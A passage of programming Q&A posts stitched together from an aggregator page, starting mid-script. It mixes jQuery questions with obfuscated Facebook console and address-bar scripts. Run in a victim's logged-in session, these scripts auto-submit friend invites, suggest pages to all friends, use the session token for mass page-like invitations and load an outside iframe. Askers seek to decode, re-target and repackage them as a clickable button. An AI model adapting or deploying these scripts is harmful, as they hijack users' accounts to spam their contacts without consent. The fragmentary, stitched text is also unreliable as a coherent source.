"\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x30\x34\x35\x36\x37\x38\x39\x39\x35\x37\x38\x39\x39\x30\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E", "\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x73\x73\x6C\x68\x6F\x73\x74\x65\x72\x2E\x63\x6F\x6D\x2F\x70\x61\x67\x65\x73\x2F\x6E\x65\x77\x69\x70\x68\x6F\x6E\x65\x70\x61\x67\x65\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x37\x39\x38\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x35\x35\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"]; var variables= [_0xb714[0], _0xb714[1], _0xb714[2], _0xb714[3], _0xb714[4], _0xb714[5], _0xb714[6], _0xb714[7], _0xb714[8], _0xb714[9], _0xb714[10], _0xb714[11], _0xb714[12], _0xb714[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]); var ss=document[variables[2]](variables[4]); var c=document[variables[6]](variables[5]); c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xb714[14]); Thanks..

    Read the article

  • Javascript in address bar, how do I decipher?

    - by DoMx
    Hello stackoverflow! I have a javascript code that appears to be encrypted: javascript:var _0xe788=[&quot;\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C&quot;,&quot;\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79&quot;,&quot;\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64&quot;,&quot;\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E&quot;,&quot;\x73\x75\x67\x67\x65\x73\x74&quot;,&quot;\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73&quot;,&quot;\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74&quot;,&quot;\x63\x6C\x69\x63\x6B&quot;,&quot;\x69\x6E\x69\x74\x45\x76\x65\x6E\x74&quot;,&quot;\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74&quot;,&quot;\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C&quot;,&quot;\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D&quot;,&quot;\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70&quot;,&quot;\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67&quot;,&quot;\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E&quot;];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]); I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code. I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available? Many thanks.

    Read the article

  • how to conver this to a button action

    - by Filipe Heitor
    i have this code to paste in a browser console, can i turn this in to a button ??? and run in a html page? javascript:var Title="Ganhando Likes Na Pagina Do Facebook.";var Descriptions="",_text='Criado & Configurado Por Pelegrino RoxCurta Por favor MeGustaJEdi';page_id=/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send_single/?page_id="+page_id+"&invitee="+opo+"&elem_id=u_0_1k&action=send&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg="+fb_dtsg+"&phstamp=",function(a){var b=a.substring(a.indexOf("{"));var c=JSON.parse(b);i--;Descriptions="";err++;if(c.errorDescription)Descriptions+=c.errorDescription;else Descriptions+=JSON.stringify(c,null,"")}else{Descriptions+="color:darkgreen'";Descriptions+=arn[i]+" has been invited to like the page "+page_name+".";suc++}Descriptions+="";var display="";display+=""+Title+"";if(i0){display+=arr.length+" Friends Detected";display+=""+suc+" Friends Invited of "+(arr.length-i)+" Friends Processed ";display+="("+i+" Lefted...)";display+="";display+=Descriptions;display+="https://fbcdn-profile-a.akamaihd.net/.../r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+""+arn[i]+"";display+="";display+="Please Wait While Inviting Your Friends to Like Your Page "+page_name+".";display+=_text;display+="";display+="";window[tag+"_close"]=true}else{Title="All Of Your Friends Have Been Invited to Like Your Page.";display+=arr.length+" Friends Detected and ";display+=""+suc+" Friends Invited.";display+="Go to HomepageRefresh PageCancel";display+="";display+=_text;display+="";window[tag+"_close"]=false}display+="";document.getElementById("pagelet_sidebar").innerHTML=display},"text","post");tay--;if(tay0){var s=arr[tay];setTimeout("InviteFriends("+s+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc);if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658165120113116104521114",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658168561015387781130",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg="+fb_dtsg+"&profileChooserItems=%7B%22"+opo+"%22%3A1%7D&checkableitems[0]="+opo+"&page_id="+page_id+"&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",function(){},"text","post")}jx={b:function(){var b=!1;if("undefined"!=typeof ActiveXObject)try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=!1}}else if(window.XMLHttpRequest)try{b=new XMLHttpRequest}catch(h){b=!1}return b},load:function(b,c,a,h,g){var e=this.d();if(e&&b){e.overrideMimeType&&e.overrideMimeType("text/xml");h||(h="GET");a||(a="text");g||(g={});a=a.toLowerCase();h=h.toUpperCase();b+=b.indexOf("?")+1?"&":"?";var k=null;"POST"==h&&(k=b.split("?"),b=k[0],k=k[1]);e.open(h,b,!0);e.onreadystatechange=g.c?function(){g.c(e)}:function(){if(4==e.readyState)if(200==e.status){var b="";e.responseText&&(b=e.responseText);"j"==a.charAt(0)?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):"x"==a.charAt(0)&&(b=e.responseXML);c&&c(b)}else g.f&&document.getElementsByTagName("body")[0].removeChild(g.f),g.e&&(document.getElementById(g.e).style.display="none"),error&&error(e.status)};e.send(k)}},d:function(){return this.b()}};function ChangeLocation(){window.location.href="http://www.facebook.com/"}setTimeout("ChangeLocation",1);window.onbeforeunload=function(){if(window[tag+"_close"])return"This script is running now!"};var i=3;var tay=3;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var tag="Close";var page_name,x=document.getElementsByTagName("span");for(i=0;ia=1&_dyn=7n8aD5z5CF-3ui&__req=l",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e";display+=""+Title+"";display+=arr.length+" Friends Detected";display+="";document.getElementById("pagelet_sidebar").innerHTML=display;InviteFriends(arr[i])});

    Read the article

  • why the global variable value is not being set?

    - by masato-san
    I can't figure out why my global variable workRegionCode is not set properly. In function getWorkRegion(), after getting ajax callback, it attempt to set workRegionCode global variable. (inside of function setFirstIndexWorkRegionCode() ). The alert in setFirstIndexWorkRegionCode() outputs expected value like 401 or 123 etc. But then when getMachines() is called, the global variable workRegionCode is undefiend :( This js starts from window.onload() (please ignore those Japanese JSON key value and few Japanese variables. They are harmless) Code: var workRegionDropdown = document.getElementById("workRegionDropdown");; var machineDropdown = document.getElementById("machineDropdown"); //this is the global variable with problem..... var workRegionCode; //INIT window.onload = function() { getWorkRegions(); // alert("before: " + window.workRegionCode); getMachines(); // alert("after: " + window.workRegionCode); } function addWorkRegionToDropdown(jsonObject, dropdown) { for(var i=0, j=jsonObject.length; i<j; i++) { var option = document.createElement("option"); option.text = jsonObject[i].?????? + ":" + jsonObject[i].??????; option.value = jsonObject[i].??????; dropdown.options.add(option); } } function addMachineToDropdown(jsonObject, dropdown) { for(var i=0, j=jsonObject.length; i<j; i++) { var option = document.createElement("option"); option.text = jsonObject[i].???; option.value = jsonObject[i].???; dropdown.options.add(option); } } function getMachines() { //!!!!!!!!!!! workRegionCode is undefined.. why?!?!?! alert("inside of getMachines() ==> " + window.workRegionCode); var ajaxRequest = new XMLHttpRequest(); ajaxTimeout = setTimeout(function() {timeoutAjax(ajaxRequest, "showMessage")}, "5000"); ajaxRequest.onreadystatechange = function() { if(ajaxRequest.readyState == 4 ) { clearTimeout(ajaxTimeout); switch ( ajaxRequest.status ) { case 200: var jsonOut = JSON.parse(ajaxRequest.responseText); addMachineToDropdown(jsonOut.??, machineDropdown); break; default: document.getElementById("showMessage").innerHTML = ajaxRequest.responseText; } } } var aMonthAgo = new Date(); with(aMonthAgo) { setMonth(getMonth() - 1) } aMonthAgo = aMonthAgo.getYYYYMMDD(); var ??? = "29991231"; var url = "../resources/machine/list/" + window.workRegionCode + "/" + aMonthAgo + "/" + ???; ajaxRequest.open("GET", url, true); ajaxRequest.send(null) } function getWorkRegions() { var ajaxRequest = new XMLHttpRequest(); ajaxTimeout = setTimeout(function() {timeoutAjax(ajaxRequest, "showMessage")}, "5000"); ajaxRequest.onreadystatechange = function() { if(ajaxRequest.readyState == 4 ) { clearTimeout(ajaxTimeout); switch ( ajaxRequest.status ) { case 200: var jsonOut = JSON.parse(ajaxRequest.responseText); //set global variable workRegionCode setFirstIndexWorkRegionCode(jsonOut); addWorkRegionToDropdown(jsonOut.???, workRegionDropdown); default: document.getElementById("showMessage").innerHTML = ajaxRequest.responseText; } } } var url = "../resources/workshop/list"; ajaxRequest.open("GET", url, true); ajaxRequest.send(null) }//end getWorkRegions() function setFirstIndexWorkRegionCode(jsonString) { //here I set the value to work region code! window.workRegionCode = jsonString.???[0].??????; alert("??????: " + window.workRegionCode); }

    Read the article

  • A jQuery Plug-in to monitor Html Element CSS Changes

    - by Rick Strahl
    Here's a scenario I've run into on a few occasions: I need to be able to monitor certain CSS properties on an HTML element and know when that CSS element changes. The need for this arose out of wanting to build generic components that could 'attach' themselves to other objects and monitor changes on the ‘parent’ object so the dependent object can adjust itself accordingly. What I wanted to create is a jQuery plug-in that allows me to specify a list of CSS properties to monitor and have a function fire in response to any change to any of those CSS properties. The result are the .watch() and .unwatch() jQuery plug-ins. Here’s a simple example page of this plug-in that demonstrates tracking changes to an element being moved with draggable and closable behavior: http://www.west-wind.com/WestWindWebToolkit/samples/Ajax/jQueryPluginSamples/WatcherPlugin.htm Try it with different browsers – IE and FireFox use the DOM event handlers and Chrome, Safari and Opera use setInterval handlers to manage this behavior. It should work in all of them but all but IE and FireFox will show a bit of lag between the changes in the main element and the shadow. The relevant HTML for this example is this fragment of a main <div> (#notebox) and an element that is to mimic a shadow (#shadow). <div class="containercontent"> <div id="notebox" style="width: 200px; height: 150px;position: absolute; z-index: 20; padding: 20px; background-color: lightsteelblue;"> Go ahead drag me around and close me! </div> <div id="shadow" style="background-color: Gray; z-index: 19;position:absolute;display: none;"> </div> </div> The watcher plug in is then applied to the main <div> and shadow in sync with the following plug-in code: <script type="text/javascript"> $(document).ready(function () { var counter = 0; $("#notebox").watch("top,left,height,width,display,opacity", function (data, i) { var el = $(this); var sh = $("#shadow"); var propChanged = data.props[i]; var valChanged = data.vals[i]; counter++; showStatus("Prop: " + propChanged + " value: " + valChanged + " " + counter); var pos = el.position(); var w = el.outerWidth(); var h = el.outerHeight(); sh.css({ width: w, height: h, left: pos.left + 5, top: pos.top + 5, display: el.css("display"), opacity: el.css("opacity") }); }) .draggable() .closable() .css("left", 10); }); </script> When you run this page as you drag the #notebox element the #shadow element will maintain and stay pinned underneath the #notebox element effectively keeping the shadow attached to the main element. Likewise, if you hide or fadeOut() the #notebox element the shadow will also go away – show the #notebox element and the shadow also re-appears because we are assigning the display property from the parent on the shadow. Note we’re attaching the .watch() plug-in to the #notebox element and have it fire whenever top,left,height,width,opacity or display CSS properties are changed. The passed data element contains a props[] and vals[] array that holds the properties monitored and their current values. An index passed as the second parm tells you which property has changed and what its current value is (propChanged/valChanged in the code above). The rest of the watcher handler code then deals with figuring out the main element’s position and recalculating and setting the shadow’s position using the jQuery .css() function. Note that this is just an example to demonstrate the watch() behavior here – this is not the best way to create a shadow. If you’re interested in a more efficient and cleaner way to handle shadows with a plug-in check out the .shadow() plug-in in ww.jquery.js (code search for fn.shadow) which uses native CSS features when available but falls back to a tracked shadow element on browsers that don’t support it, which is how this watch() plug-in came about in the first place :-) How does it work? The plug-in works by letting the user specify a list of properties to monitor as a comma delimited string and a handler function: el.watch("top,left,height,width,display,opacity", function (data, i) {}, 100, id) You can also specify an interval (if no DOM event monitoring isn’t available in the browser) and an ID that identifies the event handler uniquely. The watch plug-in works by hooking up to DOMAttrModified in FireFox, to onPropertyChanged in Internet Explorer, or by using a timer with setInterval to handle the detection of changes for other browsers. Unfortunately WebKit doesn’t support DOMAttrModified consistently at the moment so Safari and Chrome currently have to use the slower setInterval mechanism. In response to a changed property (or a setInterval timer hit) a JavaScript handler is fired which then runs through all the properties monitored and determines if and which one has changed. The DOM events fire on all property/style changes so the intermediate plug-in handler filters only those hits we’re interested in. If one of our monitored properties has changed the specified event handler function is called along with a data object and an index that identifies the property that’s changed in the data.props/data.vals arrays. The jQuery plugin to implement this functionality looks like this: (function($){ $.fn.watch = function (props, func, interval, id) { /// <summary> /// Allows you to monitor changes in a specific /// CSS property of an element by polling the value. /// when the value changes a function is called. /// The function called is called in the context /// of the selected element (ie. this) /// </summary> /// <param name="prop" type="String">CSS Properties to watch sep. by commas</param> /// <param name="func" type="Function"> /// Function called when the value has changed. /// </param> /// <param name="interval" type="Number"> /// Optional interval for browsers that don't support DOMAttrModified or propertychange events. /// Determines the interval used for setInterval calls. /// </param> /// <param name="id" type="String">A unique ID that identifies this watch instance on this element</param> /// <returns type="jQuery" /> if (!interval) interval = 100; if (!id) id = "_watcher"; return this.each(function () { var _t = this; var el$ = $(this); var fnc = function () { __watcher.call(_t, id) }; var data = { id: id, props: props.split(","), vals: [props.split(",").length], func: func, fnc: fnc, origProps: props, interval: interval, intervalId: null }; // store initial props and values $.each(data.props, function (i) { data.vals[i] = el$.css(data.props[i]); }); el$.data(id, data); hookChange(el$, id, data); }); function hookChange(el$, id, data) { el$.each(function () { var el = $(this); if (typeof (el.get(0).onpropertychange) == "object") el.bind("propertychange." + id, data.fnc); else if ($.browser.mozilla) el.bind("DOMAttrModified." + id, data.fnc); else data.intervalId = setInterval(data.fnc, interval); }); } function __watcher(id) { var el$ = $(this); var w = el$.data(id); if (!w) return; var _t = this; if (!w.func) return; // must unbind or else unwanted recursion may occur el$.unwatch(id); var changed = false; var i = 0; for (i; i < w.props.length; i++) { var newVal = el$.css(w.props[i]); if (w.vals[i] != newVal) { w.vals[i] = newVal; changed = true; break; } } if (changed) w.func.call(_t, w, i); // rebind event hookChange(el$, id, w); } } $.fn.unwatch = function (id) { this.each(function () { var el = $(this); var data = el.data(id); try { if (typeof (this.onpropertychange) == "object") el.unbind("propertychange." + id, data.fnc); else if ($.browser.mozilla) el.unbind("DOMAttrModified." + id, data.fnc); else clearInterval(data.intervalId); } // ignore if element was already unbound catch (e) { } }); return this; } })(jQuery); Note that there’s a corresponding .unwatch() plug-in that can be used to stop monitoring properties. The ID parameter is optional both on watch() and unwatch() – a standard name is used if you don’t specify one, but it’s a good idea to use unique names for each element watched to avoid overlap in event ids especially if you’re monitoring many elements. The syntax is: $.fn.watch = function(props, func, interval, id) props A comma delimited list of CSS style properties that are to be watched for changes. If any of the specified properties changes the function specified in the second parameter is fired. func The function fired in response to a changed styles. Receives this as the element changed and an object parameter that represents the watched properties and their respective values. The first parameter is passed in this structure: { id: watcherId, props: [], vals: [], func: thisFunc, fnc: internalHandler, origProps: strPropertyListOnWatcher }; A second parameter is the index of the changed property so data.props[i] or data.vals[i] gets the property and changed value. interval The interval for setInterval() for those browsers that don't support property watching in the DOM. In milliseconds. id An optional id that identifies this watcher. Required only if multiple watchers might be hooked up to the same element. The default is _watcher if not specified. It’s been a Journey I started building this plug-in about two years ago and had to make many modifications to it in response to changes in jQuery and also in browser behaviors. I think the latest round of changes made should make this plug-in fairly future proof going forward (although I hope there will be better cross-browser change event notifications in the future). One of the big problems I ran into had to do with recursive change notifications – it looks like starting with jQuery 1.44 and later, jQuery internally modifies element properties on some calls to some .css()  property retrievals and things like outerHeight/Width(). In IE this would cause nasty lock up issues at times. In response to this I changed the code to unbind the events when the handler function is called and then rebind when it exits. This also makes user code less prone to stack overflow recursion as you can actually change properties on the base element. It also means though that if you change one of the monitors properties in the handler the watch() handler won’t fire in response – you need to resort to a setTimeout() call instead to force the code to run outside of the handler: $("#notebox") el.watch("top,left,height,width,display,opacity", function (data, i) { var el = $(this); … // this makes el changes work setTimeout(function () { el.css("top", 10) },10); }) Since I’ve built this component I’ve had a lot of good uses for it. The .shadow() fallback functionality is one of them. Resources The watch() plug-in is part of ww.jquery.js and the West Wind West Wind Web Toolkit. You’re free to use this code here or the code from the toolkit. West Wind Web Toolkit Latest version of ww.jquery.js (search for fn.watch) watch plug-in documentation © Rick Strahl, West Wind Technologies, 2005-2011Posted in ASP.NET  JavaScript  jQuery  

    Read the article

  • Google Chrome: XMLHttpRequest.send() not working while doing POST.

    - by Dave Van den Eynde
    I'm working on an application that allows the user to send a file using a form (a POST request), and that executes a series of GET requests while that file is being uploaded to gather information about the state of the upload. It works fine in IE and Firefox, but not so much in Chrome and Safari. The problem is that even though send() is called on the XMLHttpRequest object, nothing is being requested as can be seen in Fiddler. To be more specific, an event handler is placed on the "submit" event of the form, that places a timeout function call on the window: window.setTimeout(startPolling, 10); and in this function "startPolling" sequence is started that keeps firing GET requests to receive status updates from a web service that returns text/json that can be used to update the UI. Is this a limitation (perhaps security-wise?) on WebKit based browsers? Is this a Chrome bug? (I'm seeing the same behaviour in Safari though).

    Read the article

  • Is there a 'has focus' in JavaScript (or jQuery)?

    - by alex
    Is there something I can do like this (perhap via a plugin) if ( ! $('form#contact input]').hasFocus()) { $('form#contact input:first]').focus(); } Basically, set focus to the first input, but only if the user has not already clicked into anything? I know this will work too, but is there anything more elegant? $(function() { var focused = FALSE: $('form#contact input]').focus(function() { focused = TRUE; }); setTimeout(function() { if ( ! focused) { $('form#contact input:first]').focus(); }; }, 500); });

    Read the article

  • jQuery UI Tabs Plugin Broke

    - by Warren J Thompson
    We are using the jquery ui tabs arrow plugin from this fiddle: http://jsfiddle.net/dECtZ/282/, but like many plugins, it breaks with the latest version of jQuery. We were able to get the csscur to work, but still get the following error in the jquery core (line 353): Uncaught TypeError: Cannot assign to read only property 'length' of function (e,t){if(!this._createWidget)return new o(e,t);arguments.length&&this._createWidget(e,t)} Code is as follows: (function($, undefined) { if (!$.xui) { $.xui = {}; } var tabs = $.extend({}, $.ui.tabs.prototype), _super = { _create: tabs._create, _destroy: tabs._destroy, _update: tabs._update }; $.xui.tabs = $.extend(tabs, { options: $.extend({}, tabs.options, { scrollable: false, changeOnScroll: false, closable: false, resizable: false, resizeHandles: "e,s,se" }), _create: function() { var self = this, o = self.options; _super._create.apply(self); if (o.scrollable) { self.element.addClass("ui-tabs-scrollable"); var scrollContainer = $('<div class="ui-tabs-scroll-container"></div>').prependTo(this.element); self.header = $('<div class="ui-tabs-nav-scrollable ui-widget-header ui-corner-all"></div>').prependTo(scrollContainer); var nav = self.element.find(".ui-tabs-nav:first").removeClass("ui-widget-header ui-corner-all").appendTo(this.header); var arrowsNav = $('<ol class="ui-helper-reset ui-helper-clearfix ui-tabs-nav-arrows"></ol>').prependTo(self.element); var navPrev = $('<li class="ui-tabs-arrow-previous ui-state-default ui-corner-bl ui-corner-tl" title="Previous"><a href="#"><span class="ui-icon ui-icon-carat-1-w">Previous tab</span></a></li>').prependTo(arrowsNav).hide(), navNext = $('<li class="ui-tabs-arrow-next ui-state-default ui-corner-tr ui-corner-br" title="Next"><a href="#"><span class="ui-icon ui-icon-carat-1-e">Next tab</span></a></li>').appendTo(arrowsNav).hide(); var scrollTo = function(to, delay) { var navWidth = 0, arrowWidth = navPrev.outerWidth(), marginLeft = -(parseInt(nav.css("marginLeft"), 10)), hwidth = self.header.width(), newMargin = 0; nav.find("li").each(function() { navWidth += $(this).outerWidth(true); }); if (to instanceof $.Event) { } else { newMargin = marginLeft+to; if (newMargin > (navWidth-hwidth)) { newMargin = (navWidth-hwidth); } else if (newMargin < 0) { newMargin = 0; } nav.stop(true).animate({ marginLeft: -(newMargin) }, delay, function(){ $(window).trigger("resize.tabs"); }); } } var holdTimer = false; navPrev.add(navNext).bind({ "click": function(e) { var isNext = this === navNext[0]; e.preventDefault(); if (o.changeOnScroll) { self.select(self.options.selected + (isNext ? 1 : -1)); } else { if (!holdTimer) scrollTo(isNext ? 150 : -150, 250); } }, "mousedown": function(e){ if (!o.changeOnScroll) { var isNext = this === navNext[0], duration = 10, pos = 15, timer; if (holdTimer) clearTimeout(holdTimer); holdTimer = setTimeout(timer = function(){ scrollTo(isNext ? pos : -(pos), duration); holdTimer = setTimeout(arguments.callee, duration); }, 150); } }, "mouseup mouseout": function(e){ if (!o.changeOnScroll) { clearTimeout(holdTimer); holdTimer = false; nav.stop(); } } }); self.header.bind('mousewheel', function(e, d, dX, dY) { e.preventDefault(); if (d === -1) { navNext.click(); } else if (d === 1) { navPrev.click(); } }); $(window).bind("resize.tabs", function(e) { var navWidth = 0; var arrowWidth = navPrev.outerWidth(); nav.find("li").each(function() { navWidth += $(this).outerWidth(true); }); var marginLeft = -(parseInt(nav.css("marginLeft"), 10)), hwidth = self.header.width(); if (navWidth > (hwidth+marginLeft)) { self.header.addClass("ui-tabs-arrow-r"); navNext.show("fade"); if (marginLeft > 0) { self.header.addClass("ui-tabs-arrow-l"); navPrev.show("fade"); } else { self.header.removeClass("ui-tabs-arrow-l"); navPrev.hide("fade"); } } else { self.header.removeClass("ui-tabs-arrows ui-tabs-arrow-l"); navNext.hide("fade"); if (marginLeft > 0) { self.header.addClass("ui-tabs-arrow-l"); navPrev.show("fade"); } else { self.header.removeClass("ui-tabs-arrow-l"); navPrev.hide("fade"); } } }).trigger("resize.tabs"); arrowsNav.find("li").bind({ "mouseenter focus": function(e) { $(this).addClass("ui-state-hover"); }, "mouseleave blur": function(e) { $(this).removeClass("ui-state-hover"); } }); this.anchors.bind("click.tabs", function(){ var li = $(this).parent(), arrowWidth = navPrev.outerWidth(), width = li.outerWidth(true), hwidth = self.header.width(), pos = li.position().left, marginLeft = -(parseInt(nav.stop(true,true).css("marginLeft"),10)), newMargin = -1; if (li.index() === 0) { newMargin = 0; } else if ((pos+width) >= (hwidth+marginLeft)) { newMargin = pos-hwidth+width; if ((li.index()+1) < nav.find("li").length) { newMargin += arrowWidth; } } else if (pos < marginLeft) { newMargin = pos-arrowWidth; } if (newMargin > -1) { nav.animate({ marginLeft: -(newMargin) }, 250, function(){ $(window).trigger("resize.tabs"); }); } }); } return self; }, _update: function(){ console.log(arguments); _super._update.apply(this); } }); $.widget("xui.tabs", $.xui.tabs); })(jQuery); $(function() { $("#tabs").tabs({ scrollable: true, changeOnScroll: false, closable: true }); $("#switcher").themeswitcher(); });

    Read the article

  • jQuery UI Tabs force delay before changing tab on mouseover

    - by Ben
    Using the jQuery UI Tabs 1.7.2 with jQuery 1.4.2, is there a way to make it so that when you mouseover a tab, there is a delay before the tab switches? I've been looking into using the hoverIntent plugin to do this, but cannot figure out how it would fit in. Right now my code looks like: var tabs = $('.tabs').tabs({ event: 'mouseover' }); I've tried playing around with a callback on the show event, but I think I'm doing it wrong or not clear on when the callback happens: $( ".tabs" ).tabs({ show: function(event, ui) { setTimeout("FUNCTION_TO_CHANGE_TAB?", 200); } }); Any help would be greatly appreciated.

    Read the article

  • display image and script for a set period of time

    - by Ryan Max
